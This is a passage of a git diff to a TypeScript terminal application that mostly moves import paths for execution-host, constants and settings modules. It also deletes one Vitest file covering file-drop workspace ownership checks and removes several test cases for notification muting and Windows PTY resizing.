a/src/renderer/src/components/terminal-pane/host-files/terminal-file-path-mapping.ts b/src/renderer/src/components/terminal-pane/host-files/terminal-file-path-mapping.ts index e4ca703aec3..4bf71f6e3b0 100644 --- a/src/renderer/src/components/terminal-pane/host-files/terminal-file-path-mapping.ts +++ b/src/renderer/src/components/terminal-pane/host-files/terminal-file-path-mapping.ts @@ -7,7 +7,7 @@ import { } from '@/runtime/files/workspace-file-host-routing' import { getRuntimeTargetForWorktreeOwner } from '@/lib/files/access/file-owner-runtime-target' import type { RuntimeFileOperationArgs } from '@/runtime/files/runtime-file-client-types' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { parseWslUncPath, toWindowsWslPath } from '../../../../../shared/file-access/wsl-paths' import { msysDrivePathToWindows } from '../../../../../shared/file-access/cross-platform-path' import { terminalFileSourceHost } from '../links/files/terminal-worktree-path-link' diff --git a/src/renderer/src/components/terminal-pane/host-files/terminal-host-workspace-file.ts b/src/renderer/src/components/terminal-pane/host-files/terminal-host-workspace-file.ts index a73d529714f..a6440bbe5aa 100644 --- a/src/renderer/src/components/terminal-pane/host-files/terminal-host-workspace-file.ts +++ b/src/renderer/src/components/terminal-pane/host-files/terminal-host-workspace-file.ts @@ -15,7 +15,7 @@ import { toRuntimeWorktreeSelector } from '@/runtime/rpc/targets/runtime-worktre import { toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { TERMINAL_PATH_CROSS_WORKSPACE_RUNTIME_CAPABILITY, type RuntimeTerminalPathResolution diff --git a/src/renderer/src/components/terminal-pane/host-state/terminal-pane-claude-target.ts b/src/renderer/src/components/terminal-pane/host-state/terminal-pane-claude-target.ts index 700c3b76844..7495130291e 100644 --- a/src/renderer/src/components/terminal-pane/host-state/terminal-pane-claude-target.ts +++ b/src/renderer/src/components/terminal-pane/host-state/terminal-pane-claude-target.ts @@ -1,5 +1,5 @@ import { useAppStore } from '@/store/index' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { resolvePaneWslDistro } from './terminal-pane-wsl-distro' export type PaneClaudeTarget = { runtime: 'host' } | { runtime: 'wsl'; wslDistro: string } diff --git a/src/renderer/src/components/terminal-pane/host-state/terminal-pane-local-windows-conpty.ts b/src/renderer/src/components/terminal-pane/host-state/terminal-pane-local-windows-conpty.ts index 66ca7035ec7..dedece41281 100644 --- a/src/renderer/src/components/terminal-pane/host-state/terminal-pane-local-windows-conpty.ts +++ b/src/renderer/src/components/terminal-pane/host-state/terminal-pane-local-windows-conpty.ts @@ -1,5 +1,5 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { isRemoteRuntimePtyId } from '../../../../../shared/remote-runtime/remote-runtime-pty-id' import { getConnectionIdFromState } from '@/lib/workspace/ownership/connection-owner-resolution' import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner' diff --git a/src/renderer/src/components/terminal-pane/host-state/terminal-pane-owner-context.ts b/src/renderer/src/components/terminal-pane/host-state/terminal-pane-owner-context.ts index 0c03a5f0e94..7197e953c87 100644 --- a/src/renderer/src/components/terminal-pane/host-state/terminal-pane-owner-context.ts +++ b/src/renderer/src/components/terminal-pane/host-state/terminal-pane-owner-context.ts @@ -5,7 +5,7 @@ import { getConnectionIdFromState } from '@/lib/workspace/ownership/connection-o import type { TerminalWorktreeRoute } from '@/lib/workspace/ownership/terminal-worktree-route' import { resolveWorktreeOperationRouteForHost } from '@/lib/workspace/ownership/worktree-operation-route' import { getRemoteRuntimePtyEnvironmentId } from '@/runtime/hosted-terminals/identity/remote-runtime-pty-owner' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { isEphemeralSetupTerminalWorktreeId } from '../../../../../shared/workspace-setup/ephemeral-setup-terminal-worktree-id' import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import { isWebTerminalSurfaceTabId } from '../../../../../shared/workspace-layout/terminal-surface-id' @@ -16,7 +16,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, UNRESOLVED_OWNER_HOST_ID -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { findLocalFolderWorkspaceRuntimeRepo, resolveQualifiedFolderWorkspaceResult diff --git a/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-handler.ts b/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-handler.ts index 2966dd38660..69e43a8fe9e 100644 --- a/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-handler.ts +++ b/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-handler.ts @@ -4,7 +4,7 @@ import { getConnectionId } from '@/lib/workspace/ownership/connection-context' import { parseExecutionHostId, toRuntimeExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { recordTerminalUserInputForLeaf } from '../terminal-input-activity' import { isResolvedWorkspaceFileDragExecutionHost, diff --git a/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-runtime-catalog-owner.test.ts b/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-runtime-catalog-owner.test.ts deleted file mode 100644 index b8327347890..00000000000 --- a/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-runtime-catalog-owner.test.ts +++ /dev/null @@ -1,167 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' -import { - encodeWorkspaceFilePaths, - WORKSPACE_FILE_DRAG_SOURCE_MIME, - WORKSPACE_FILE_PATHS_MIME -} from '@/lib/files/drop/workspace-file-drag' -import { handleInternalTerminalFileDrop } from './terminal-drop-handler' -import { handleNativeTerminalFileDrop as handleTerminalFileDrop } from './terminal-native-file-drop-destination' - -const mocks = vi.hoisted(() => { - const worktreesByRepo: Record< - string, - { - id: string - repoId: string - path: string - hostId: ExecutionHostId - runtimeOwnerEnvironmentId?: string - }[] - > = {} - const folderWorkspaces: { - id: string - projectGroupId: string - folderPath: string - executionHostId: ExecutionHostId - }[] = [] - return { - state: { - settings: { activeRuntimeEnvironmentId: 'focused-runtime' }, - repos: [], - worktreesByRepo, - detectedWorktreesByRepo: {}, - folderWorkspaces, - sshConnectionStates: new Map([['target-1', { connectionGeneration: 99 }]]), - sshStateByEnvironment: new Map([ - [ - 'owner-runtime', - { connectionStates: new Map([['target-1', { connectionGeneration: 1 }]]) } - ] - ]) - }, - importPaths: vi.fn(), - toastError: vi.fn() - } -}) -vi.mock('@/store/index', () => ({ useAppStore: { getState: () => mocks.state } })) -vi.mock('@/runtime/files/imports/runtime-file-import-client', () => ({ - importExternalPathsToRuntime: mocks.importPaths -})) -vi.mock('../terminal-input-activity', () => ({ recordTerminalUserInputForLeaf: vi.fn() })) -vi.mock('sonner', () => ({ - toast: { loading: vi.fn(), dismiss: vi.fn(), error: mocks.toastError, message: vi.fn() } -})) - -afterEach(() => vi.unstubAllGlobals()) -beforeEach(() => { - vi.clearAllMocks() - mocks.state.worktreesByRepo = { - local: [{ id: 'wt-1', repoId: 'local', path: 'C:\\wrong-local', hostId: 'local' }], - remote: [ - { - id: 'wt-1', - repoId: 'remote', - path: '/owner/workspace', - hostId: 'runtime:owner-runtime', - runtimeOwnerEnvironmentId: 'owner-runtime' - } - ] - } - mocks.state.folderWorkspaces = [ - { - id: 'notes', - projectGroupId: 'local', - folderPath: 'C:\\wrong-local', - executionHostId: 'local' - }, - { - id: 'notes', - projectGroupId: 'remote', - folderPath: '/owner/workspace', - executionHostId: 'runtime:owner-runtime' - } - ] - mocks.importPaths.mockResolvedValue({ - results: [{ status: 'imported', destPath: '/owner/workspace/.orca/drops/file.txt' }] - }) -}) - -async function drop(lane: string, workspaceId: string, executionHostId: ExecutionHostId) { - const sendInput = vi.fn(() => true) - const pane = { id: 1, leafId: 'leaf-1', terminal: { focus: vi.fn() } } - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: Drops only enumerate this pane and capture its identity. - const manager = { getPanes: () => [pane], getActivePane: () => pane } as never - const transport = { - sendInput, - getPtyId: () => 'runtime-pty-1', - isConnected: () => true, - getExecutionHostId: () => executionHostId, - getRuntimeEnvironmentId: () => 'owner-runtime' - } - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: The transport supplies every method used by these drop handlers. - const paneTransports = new Map([[1, transport]]) as never - const args = { - manager, - paneTransports, - worktreeId: workspaceId, - tabId: 'tab-1', - cwd: '/wrong-cwd' - } - let result: Awaited> | undefined - if (lane === 'native') { - await handleTerminalFileDrop({ - ...args, - pane: pane, - paths: ['/client/file.txt'] - }) - } else { - result = await handleInternalTerminalFileDrop({ - ...args, - paneLeafId: 'leaf-1', - dataTransfer: { - getData: (type) => - type === WORKSPACE_FILE_DRAG_SOURCE_MIME - ? JSON.stringify({ - version: 1, - workspaceId: 'wt-1', - runtimeEnvironmentId: 'owner-runtime', - executionHostId: - executionHostId === 'local' ? 'runtime:owner-runtime' : executionHostId - }) - : type === WORKSPACE_FILE_PATHS_MIME - ? encodeWorkspaceFilePaths(['/owner/workspace/file with spaces.txt']) - : '' - } - }) - } - return { sendInput, result, transport } -} - -describe.each(['native', 'internal'])('%s runtime terminal catalog ownership', (lane) => { - it.each(['missing-owner', 'wrong-environment', 'wrong-ssh-target'])( - 'refuses %s instead of borrowing a catalog root', - async (mismatch) => { - if (mismatch === 'missing-owner') { - delete mocks.state.worktreesByRepo.remote - } else if (mismatch === 'wrong-environment') { - mocks.state.worktreesByRepo.remote[0].hostId = 'ssh:target-1' - mocks.state.worktreesByRepo.remote[0].runtimeOwnerEnvironmentId = 'other-runtime' - } else { - mocks.state.worktreesByRepo.remote[0].hostId = 'ssh:other-target' - } - const { sendInput, result } = await drop( - lane, - 'wt-1', - mismatch === 'missing-owner' ? 'local' : 'ssh:target-1' - ) - expect(sendInput).not.toHaveBeenCalled() - expect(mocks.importPaths).not.toHaveBeenCalled() - if (lane === 'native') { - expect(mocks.toastError).toHaveBeenCalledWith('Worktree path not available.') - } else { - expect(result).toEqual({ status: 'ignored', reason: 'worktree-unavailable' }) - } - } - ) -}) diff --git a/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-transport-owner.ts b/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-transport-owner.ts index d9ddf9adc92..05ed7acd36e 100644 --- a/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-transport-owner.ts +++ b/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-transport-owner.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { captureDirectSshMutationExpectation } from '@/runtime/hosts/ssh/ssh-mutation-expectation' import { useAppStore } from '@/store/index' import type { PtyTransport } from '../../pty-transport/pty-transport-types' diff --git a/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-worktree-path.ts b/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-worktree-path.ts index e49650fa089..ae523fe83a8 100644 --- a/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-worktree-path.ts +++ b/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-worktree-path.ts @@ -4,7 +4,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { DROP_STAGING_RELATIVE_DIR } from '../../../../../../shared/file-import/drop-staging-ignore' import { resolveExactWorktreeRoute } from '@/lib/workspace/ownership/worktree-owner-route' import { isTerminalDropWindowsPathLike } from '../../../../../../shared/terminal/input/image-path-paste' diff --git a/src/renderer/src/components/terminal-pane/input/terminal-input-host-platform.ts b/src/renderer/src/components/terminal-pane/input/terminal-input-host-platform.ts index 41130965843..c56db78737f 100644 --- a/src/renderer/src/components/terminal-pane/input/terminal-input-host-platform.ts +++ b/src/renderer/src/components/terminal-pane/input/terminal-input-host-platform.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { isWslUncPath } from '../../../../../shared/file-access/wsl-paths' import '@/lib/workspace/ownership/connection-context' import { getConnectionIdFromState } from '@/lib/workspace/ownership/connection-owner-resolution' diff --git a/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-editor-open.ts b/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-editor-open.ts index f1287ffade6..782bd056714 100644 --- a/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-editor-open.ts +++ b/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-editor-open.ts @@ -9,7 +9,7 @@ import type { EditorOpenLinkIntent, EditorOpenResult } from '@/store/slices/editor/types/editor-open-link-intent' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' /** An explicit group request may only end in an editor in the scope it was captured from. */ export function isExplicitEditorScopeKept( diff --git a/src/renderer/src/components/terminal-pane/links/files/terminal-file-open-routing.ts b/src/renderer/src/components/terminal-pane/links/files/terminal-file-open-routing.ts index ffd46282fdf..21641f94598 100644 --- a/src/renderer/src/components/terminal-pane/links/files/terminal-file-open-routing.ts +++ b/src/renderer/src/components/terminal-pane/links/files/terminal-file-open-routing.ts @@ -18,7 +18,7 @@ import { import { LOCAL_EXECUTION_HOST_ID, getConnectionExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { statUserOpenedPath } from '@/lib/files/access/user-opened-local-path' import { CLIENT_LOCAL_FILE_TARGET, diff --git a/src/renderer/src/components/terminal-pane/links/files/terminal-folder-open.ts b/src/renderer/src/components/terminal-pane/links/files/terminal-folder-open.ts index 1f0530900b4..e85558129cf 100644 --- a/src/renderer/src/components/terminal-pane/links/files/terminal-folder-open.ts +++ b/src/renderer/src/components/terminal-pane/links/files/terminal-folder-open.ts @@ -5,7 +5,7 @@ import { isWorkspaceSelected } from '@/lib/workspace/ownership/active-workspace- import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { isHostWorkspaceRoot, revealHostWorkspaceRoot, diff --git a/src/renderer/src/components/terminal-pane/links/files/terminal-worktree-path-link.test.ts b/src/renderer/src/components/terminal-pane/links/files/terminal-worktree-path-link.test.ts index f219bc12b15..52c38e65e30 100644 --- a/src/renderer/src/components/terminal-pane/links/files/terminal-worktree-path-link.test.ts +++ b/src/renderer/src/components/terminal-pane/links/files/terminal-worktree-path-link.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getConnectionIdFromState } from '@/lib/workspace/ownership/connection-owner-resolution' import { makeRepo, makeWorktree } from '../../../worktree-jump/worktree-jump-palette-test-fixtures' import { resolveKnownWorktreeRootPathLink } from './terminal-worktree-path-link' diff --git a/src/renderer/src/components/terminal-pane/links/files/terminal-worktree-path-link.ts b/src/renderer/src/components/terminal-pane/links/files/terminal-worktree-path-link.ts index 93509de60b6..b6aeaba4116 100644 --- a/src/renderer/src/components/terminal-pane/links/files/terminal-worktree-path-link.ts +++ b/src/renderer/src/components/terminal-pane/links/files/terminal-worktree-path-link.ts @@ -13,7 +13,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' export type WorktreeRootPathLink = { id: string diff --git a/src/renderer/src/components/terminal-pane/links/gestures/terminal-link-click-behavior.ts b/src/renderer/src/components/terminal-pane/links/gestures/terminal-link-click-behavior.ts index 2937e9209fe..0b4e1d677a8 100644 --- a/src/renderer/src/components/terminal-pane/links/gestures/terminal-link-click-behavior.ts +++ b/src/renderer/src/components/terminal-pane/links/gestures/terminal-link-click-behavior.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' export type TerminalLinkClickBehavior = 'actions' | 'open' | 'none' diff --git a/src/renderer/src/components/terminal-pane/links/terminal-link-handlers-test-fixtures.ts b/src/renderer/src/components/terminal-pane/links/terminal-link-handlers-test-fixtures.ts index 15335ca75b5..307ae7dbfe2 100644 --- a/src/renderer/src/components/terminal-pane/links/terminal-link-handlers-test-fixtures.ts +++ b/src/renderer/src/components/terminal-pane/links/terminal-link-handlers-test-fixtures.ts @@ -1,5 +1,5 @@ import { vi, type Mock } from 'vitest' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { Tab, TabGroup } from '../../../../../shared/workspace-layout/tab-groups/tab-types' export type TerminalLinkStoreSettings = { diff --git a/src/renderer/src/components/terminal-pane/links/terminal-pane-pane-links.ts b/src/renderer/src/components/terminal-pane/links/terminal-pane-pane-links.ts index 0d43e708529..14de9a6943b 100644 --- a/src/renderer/src/components/terminal-pane/links/terminal-pane-pane-links.ts +++ b/src/renderer/src/components/terminal-pane/links/terminal-pane-pane-links.ts @@ -5,7 +5,7 @@ import type { import type { ManagedPane } from '@/lib/pane-manager/pane-manager-types' import type { PaneManager } from '@/lib/pane-manager/pane-manager' import type { HttpLinkSourceOwner } from '@/lib/browser/navigation/http-link-routing' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { TerminalPaneLifecycleRefs } from '../mounting/use-terminal-pane-lifecycle-refs' import type { TerminalLinkActionContext } from './terminal-link-action-request' diff --git a/src/renderer/src/components/terminal-pane/mounting/terminal-pane-lifecycle-types.ts b/src/renderer/src/components/terminal-pane/mounting/terminal-pane-lifecycle-types.ts index da27b07cd3e..94e14ab01dd 100644 --- a/src/renderer/src/components/terminal-pane/mounting/terminal-pane-lifecycle-types.ts +++ b/src/renderer/src/components/terminal-pane/mounting/terminal-pane-lifecycle-types.ts @@ -5,7 +5,7 @@ import type { PanePtyBinding } from '../pty-connection/pane-pty-binding' import type { IDisposable } from '@xterm/xterm' import type { ParsedAgentStatusPayload } from '../../../../../shared/agent-status/contracts/agent-status-types' import type { TerminalKittyKeyboardModeTracker } from '../../../../../shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { TerminalLayoutSnapshot } from '../../../../../shared/workspace-layout/terminal-tab-types' import type { PaneExternalDropHandler, diff --git a/src/renderer/src/components/terminal-pane/mounting/terminal-pane-manager-options.ts b/src/renderer/src/components/terminal-pane/mounting/terminal-pane-manager-options.ts index 784b38c3015..0f4f899aec1 100644 --- a/src/renderer/src/components/terminal-pane/mounting/terminal-pane-manager-options.ts +++ b/src/renderer/src/components/terminal-pane/mounting/terminal-pane-manager-options.ts @@ -1,5 +1,5 @@ import type { IDisposable } from '@xterm/xterm' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import type { PaneManagerOptions } from '@/lib/pane-manager/pane-manager-types' import { useAppStore } from '@/store/index' import { resolveTerminalLigaturesEnabled } from '../../../../../shared/terminal/appearance/terminal-ligatures' @@ -18,7 +18,7 @@ import { pluginFontFamilyWhenLoaded } from '@/store/plugins/appearance/plugin-fo import { buildWindowsPtyCompatibilityOptions } from '@/lib/pane-manager/terminal-protocol/windows-pty-compatibility' import { buildTerminalKeyboardProtocolOptions } from '@/lib/pane-manager/terminal-protocol/terminal-keyboard-protocol' import { resolvePaneKeyboardProtocolAgent } from '../input/keyboard/terminal-keyboard-protocol-pane-agent' -import { UNRESOLVED_OWNER_HOST_ID } from '../../../../../shared/execution-host' +import { UNRESOLVED_OWNER_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { scheduleRuntimeGraphSync } from '@/runtime/sync-runtime-graph/graph-sync-scheduler' import { acquireWebviewsDragPassthrough } from '../../browser-pane/host-guest/drag/webview-drag-passthrough' import { handleTerminalWebLinkClick } from '../links/http/terminal-web-link-click' diff --git a/src/renderer/src/components/terminal-pane/notifications/agent-task-complete-policy.ts b/src/renderer/src/components/terminal-pane/notifications/agent-task-complete-policy.ts index 663c5d91b94..e1ff8dabf6f 100644 --- a/src/renderer/src/components/terminal-pane/notifications/agent-task-complete-policy.ts +++ b/src/renderer/src/components/terminal-pane/notifications/agent-task-complete-policy.ts @@ -1,6 +1,6 @@ /** Keep live, parked-watcher and side-effect completion policy aligned without importing pane/xterm dependencies. */ import type { AgentStatusEntry } from '../../../../../shared/agent-status/contracts/agent-status-types' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' /** Delay BEL/completion banners so richer same-burst agent detail can win. */ export const AGENT_TASK_COMPLETE_NOTIFICATION_GRACE_MS = 250 diff --git a/src/renderer/src/components/terminal-pane/notifications/dispatch-terminal-notification.mute.test.ts b/src/renderer/src/components/terminal-pane/notifications/dispatch-terminal-notification.mute.test.ts index 981572a285b..72297a6b84c 100644 --- a/src/renderer/src/components/terminal-pane/notifications/dispatch-terminal-notification.mute.test.ts +++ b/src/renderer/src/components/terminal-pane/notifications/dispatch-terminal-notification.mute.test.ts @@ -1,6 +1,6 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import type { NotificationDispatchRequest } from '../../../../../shared/notifications/notification-settings-types' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { acceptedAgentStatuses } from '@/store/slices/agent-status/accepted-agent-statuses' import { createTestStore } from '@/store/testing/app-store-test-fixture' import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture' @@ -114,17 +114,4 @@ describe('dispatchTerminalNotification per-worktree mute', () => { expect(dispatched).toEqual([]) expect(store.getState().worktreesByRepo.repo1?.[0]?.isUnread).toBe(true) }) - - it('still notifies for worktrees that are not muted', () => { - seed({ [OTHER_WORKSPACE]: true }) - - const requested = dispatchTerminalNotification(WORKSPACE, { - source: 'agent-task-complete', - terminalTitle: 'codex', - paneKey: PANE_KEY - }) - - expect(requested).toBe(true) - expect(dispatched).toHaveLength(1) - }) }) diff --git a/src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-registry.ts b/src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-registry.ts index 7ecb5765fc5..1fa4f7eca6f 100644 --- a/src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-registry.ts +++ b/src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-registry.ts @@ -11,7 +11,7 @@ import { hasPreHandlerPtyExit } from '../../pty-transport/delivery/pty-pre-handler-buffer' import { parseRemoteRuntimePtyId } from '../../../../../../shared/remote-runtime/remote-runtime-pty-id' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/workspace/identity/floating-workspace-id' import { releaseTerminalScrollIntentKey } from '../../../../lib/pane-manager/terminal-scroll/terminal-scroll-intent-key-store' export type ParkedTerminalPaneCapture = { diff --git a/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-windows-pty-model.test.ts b/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-windows-pty-model.test.ts index b6ebe075a4e..38837b1e8e9 100644 --- a/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-windows-pty-model.test.ts +++ b/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-windows-pty-model.test.ts @@ -1,6 +1,6 @@ import { Terminal } from '@xterm/headless' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { RuntimeStatus } from '../../../../../../shared/remote-runtime/session-graph/runtime-session-contracts' import type { SshConnectionState } from '../../../../../../shared/remote-runtime/ssh/ssh-types' import type { PtyOwnerMachineState } from '../../pty-transport/host-ownership/pty-owner-machine-platform' @@ -89,35 +89,6 @@ async function scrollbackAfterShrinkAndGrow(terminal: Terminal): Promise // A Mac client showing a remote Windows pane grew it the Unix way, pulling history into ConPTY's // grid; ConPTY repaints only what it thinks changed, so stale TUI frames stayed on screen. describe('pane resize model on a Mac client', () => { - it.each([ - [ - 'a paired Windows server', - 'runtime:env-1', - { runtimeStatusByEnvironmentId: new Map([['env-1', serverStatus('win32')]]) }, - true - ], - [ - 'a Windows SSH target', - 'ssh:target-1', - { sshConnectionStates: new Map([['target-1', sshState('win32')]]) }, - true - ], - [ - 'a Linux sshd inside WSL', - 'ssh:target-1', - { sshConnectionStates: new Map([['target-1', sshState('linux')]]) }, - false - ] - ] as const)('%s gets its owner machine model', async (_, host, facts, conpty) => { - const terminal = newTerminal() - createPaneWindowsPtyModel( - paneContext(terminal, host), - fakeStore({ ...EMPTY, ...facts }) - ).apply() - const grown = await scrollbackAfterShrinkAndGrow(terminal) - expect(conpty ? grown > 0 : grown <= 0).toBe(true) - }) - it("follows the bound transport's SSH owner, not the Windows server that mirrors it", async () => { const terminal = newTerminal() const store = fakeStore({ @@ -169,68 +140,4 @@ describe('pane resize model on a Mac client', () => { createPaneWindowsPtyModel(paneContext(terminal, 'ssh:target-1', transport), store).apply() expect(await scrollbackAfterShrinkAndGrow(terminal)).toBeGreaterThan(0) }) - - it("re-resolves when a reattached mirror learns it belongs to the server's SSH target", async () => { - const terminal = newTerminal() - const store = fakeStore({ - ...EMPTY, - runtimeStatusByEnvironmentId: new Map([['env-1', serverStatus('win32')]]), - sshStateByEnvironment: new Map([ - [ - 'env-1', - { - connectionStates: new Map([['target-1', sshState('linux')]]), - targetLabels: new Map(), - targetGenerations: new Map(), - removedTargetLabels: new Map(), - targetsHydrated: true - } - ] - ]) - }) - let executionHostId: ExecutionHostId = 'runtime:env-1' - const hostListeners = new Set<() => void>() - const transport = { - getRuntimeEnvironmentId: () => 'env-1', - getExecutionHostId: () => executionHostId, - onExecutionHostChange: (listener: () => void) => { - hostListeners.add(listener) - return () => hostListeners.delete(listener) - } - } - const model = createPaneWindowsPtyModel( - paneContext(terminal, 'runtime:env-1', transport), - store - ) - model.apply() - model.apply() - expect(hostListeners.size).toBe(1) - expect(terminal.options.windowsPty).toEqual({ backend: 'conpty' }) - - executionHostId = 'ssh:target-1' - hostListeners.forEach((listener) => listener()) - - expect(await scrollbackAfterShrinkAndGrow(terminal)).toBeLessThanOrEqual(0) - model.dispose() - expect(hostListeners.size).toBe(0) - }) - - it('stays Unix until a late server status arrives, then switches once without touching the drawn grid', async () => { - const terminal = newTerminal() - const store = fakeStore(EMPTY) - const model = createPaneWindowsPtyModel(paneContext(terminal, 'runtime:env-1'), store) - model.apply() - expect(terminal.options.windowsPty).toEqual({}) - await write(terminal, 'FRAME-A\r\nFRAME-B') - const drawn = () => - [0, 1].map((y) => terminal.buffer.active.getLine(y)?.translateToString(true)) - const before = drawn() - - store.set({ runtimeStatusByEnvironmentId: new Map([['env-1', serverStatus('win32')]]) }) - - expect(terminal.options.windowsPty).toEqual({ backend: 'conpty' }) - expect(drawn()).toEqual(before) - expect(store.listenerCount()).toBe(0) - expect(await scrollbackAfterShrinkAndGrow(terminal)).toBeGreaterThan(0) - }) }) diff --git a/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-windows-pty-model.ts b/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-windows-pty-model.ts index 5d38e3ed810..9a89796e80c 100644 --- a/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-windows-pty-model.ts +++ b/src/renderer/src/components/terminal-pane/pty-connection/geometry/pane-windows-pty-model.ts @@ -1,6 +1,6 @@ import type { Terminal } from '@xterm/xterm' import { useAppStore } from '@/store/index' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { buildWindowsPtyCompatibilityOptions, isLocalPtyOwner diff --git a/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/unserved-ssh-pane-connect.ts b/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/unserved-ssh-pane-connect.ts index 8cd3ed80375..18be00c8c42 100644 --- a/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/unserved-ssh-pane-connect.ts +++ b/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/unserved-ssh-pane-connect.ts @@ -1,5 +1,5 @@ import { useAppStore } from '@/store/index' -import { isRuntimeOwnedSshTargetId } from '../../../../../../shared/execution-host' +import { isRuntimeOwnedSshTargetId } from '../../../../../../shared/execution-host/execution-host' import { isSshUserDisconnectedMessage } from '../../../../../../shared/remote-runtime/ssh/ssh-user-disconnect-message' import { isSshConnectInFlight, trackSshConnect } from '@/ssh/ssh-connect-in-flight' import type { ConnectPanePtySession } from '../connect-pane-pty-session' diff --git 